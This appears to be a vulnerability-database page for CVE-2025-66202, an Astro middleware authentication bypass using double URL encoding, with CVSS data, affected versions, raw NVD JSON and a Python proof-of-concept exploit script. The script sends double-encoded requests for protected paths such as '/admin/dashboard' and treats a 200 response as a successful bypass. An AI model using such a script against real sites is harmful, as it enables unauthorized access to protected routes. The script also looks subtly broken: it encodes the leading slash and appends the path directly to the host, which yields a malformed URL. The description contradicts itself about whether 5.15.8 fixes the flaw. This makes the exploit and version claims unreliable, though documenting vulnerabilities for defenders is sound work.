Security Vulnerability Report
中文
CVE-2025-66202 CVSS 6.5 MEDIUM

CVE-2025-66202

Published: 2025-12-09 00:15:49
Last Modified: 2025-12-10 23:46:48

Description

Astro is a web framework. Versions 5.15.7 and below have a double URL encoding bypass which allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs, attackers can still bypass authentication and access any route protected by middleware pathname checks. This issue is fixed in version 5.15.8.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:* - VULNERABLE
Astro < 5.15.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-66202 PoC - Double URL Encoding Bypass # Target: Astro middleware authentication bypass def exploit_astro_bypass(target_url, protected_path): """ Exploit double URL encoding to bypass Astro middleware authentication. Args: target_url: Base URL of the vulnerable Astro application protected_path: Path protected by middleware authentication Returns: bool: True if bypass successful, False otherwise """ # Original protected path original_path = protected_path # e.g., '/admin/dashboard' # Single URL encode single_encoded = original_path.replace('/', '%2F') # '%2Fadmin%2Fdashboard' # Double URL encode (exploit the vulnerability) double_encoded = single_encoded.replace('%', '%25') # '%252Fadmin%252Fdashboard' # Construct exploit URLs exploit_url = target_url.rstrip('/') + double_encoded print(f"[*] Target: {target_url}") print(f"[*] Protected Path: {original_path}") print(f"[*] Single Encoded: {single_encoded}") print(f"[*] Double Encoded: {double_encoded}") print(f"[*] Exploit URL: {exploit_url}") # Send the exploit request try: response = requests.get(exploit_url, timeout=10) print(f"[+] Status Code: {response.status_code}") # Check if we bypassed authentication # (In real scenario, check for protected content in response) if response.status_code == 200: print("[!] Authentication bypassed - accessed protected resource") return True else: print("[-] Bypass failed") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Example usage if __name__ == "__main__": target = "https://vulnerable-astro-site.com" protected = "/admin/dashboard" exploit_astro_bypass(target, protected) # Additional test cases for different encoding scenarios def test_encoding_bypass(): """Test various URL encoding bypass techniques""" test_cases = [ ("/admin", "Double encoding"), ("/api/private", "Double encoding"), ("/dashboard/settings", "Double encoding"), ] base_url = "https://vulnerable-astro-site.com" for path, technique in test_cases: print(f"\n[*] Testing {technique} for: {path}") exploit_astro_bypass(base_url, path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66202", "sourceIdentifier": "[email protected]", "published": "2025-12-09T00:15:48.977", "lastModified": "2025-12-10T23:46:47.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. Versions 5.15.7 and below have a double URL encoding bypass which allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs, attackers can still bypass authentication and access any route protected by middleware pathname checks. This issue is fixed in version 5.15.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-647"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.15.8", "matchCriteriaId": "1015DFA8-9106-453C-9144-11E63ADA3B67"}]}]}], "references": [{"url": "https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-whqg-ppgf-wp8c", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}